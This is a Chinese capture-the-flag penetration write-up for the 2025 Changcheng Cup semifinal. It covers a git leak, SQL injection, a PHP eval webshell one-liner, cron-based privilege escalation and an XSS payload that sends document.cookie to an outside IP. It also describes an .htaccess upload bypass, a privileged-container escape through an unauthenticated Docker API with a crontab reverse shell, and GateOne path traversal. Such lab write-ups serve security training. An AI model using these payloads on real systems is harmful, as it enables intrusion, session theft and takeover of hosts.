2025长城杯半决赛渗透复盘
Web-Git
flag1
git泄露,使用git_extract提取所有的提交记录
flag2
通过外网站点的sql注入能拿到admin账密
网站有个现成图片马,蚁剑连上后翻数据库能找到ryan用户账密以及邮箱
或者写个post马也可以
1 | ?a=file_put_contents('2.php','<?php eval($_POST[0]);'); |
110 端口是个 pop3 服务
登录pop3就能拿到flag了
flag3
在数据库可以发现ryan用户的密码
直接 su 切换到 ryan 用户,然后用 grep 搜 /var 文件夹得到 flag3
1 | grep -r -n flag |
flag4
内网部分
扫描得到 /backup/www.zip
sqlhelper.php 存在反序列化
写马进去后,查看 /home 目录,发现 gitlab 文件夹可访问,里面有一个 lookme ,是 flag4
flag5
在 /home/ryan 目录下存在一个 del.py 文件
1 | #!/usr/bin/env python |
可读可写可执行,存在计划任务提权
修改为
1 | #!/usr/bin/env python |
执行 python 脚本后执行命令 /usr/bin/bash -p 即可提权至root
在 /root 目录下发现 aim.jpg 文件,打开查看为 flag5
CCB2025
flag1
入口环境中管理员每5分钟会进行登录
feedback.html 处明显是一个xss
1 | <script>fetch('http://192.168.173.251:666/'+document.cookie);</script> |
测试发现通自己的机器,nc守株待兔拿到cookie
成功进入dashboard.php
想起来之前 feedback.html 可以传马
在 dashboard 这里可以看到上传的文件会传到 http://172.18.173.20/feedbacks_uploads_Files/
测试发现过滤了.php
使用 .htaccess 和 png 组合拳拿shell
1 | <FilesMatch "1.png"> |
flag2
22375端口上面有一个 docker-api 未授权可以直接扫出来
访问 /version 可以返回信息
exp.py
1 | import docker |
创建容器,挂载主机的/etc目录,并向 root 用户的 crontab 添加一个反弹 shell 命令
注意:此脚本针对 centos 系统可以反弹shell,ubuntu 系统不反弹
另一种方法:
docker 有远程连接命令,由于2375端口暴露,所以可以未授权访问
1 | docker -H tcp://vuln-ip:2375/ ps |
需要启动一个有交互的shell,并且是特权镜像
当操作者执行docker run –privileged时,Docker 将允许容器访问宿主机上的所有设备,同时修改 AppArmor 或 SELinux 的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限
1 | docker -H tcp://vuln-ip:2375 run --privileged=true -it -v /:/tmp alpine /bin/sh |
flag3
是一个 GateOne 服务
应该是任意文件读取的洞
/downloads/ 路由存在目录穿越可以读取任意文件
gateone/core/server.py:
这里直接把 path 用os.path.join拼进去了,那就无脑目录穿越
数据管理系统
flag1
入口一个pwn
打通后base64提权读flag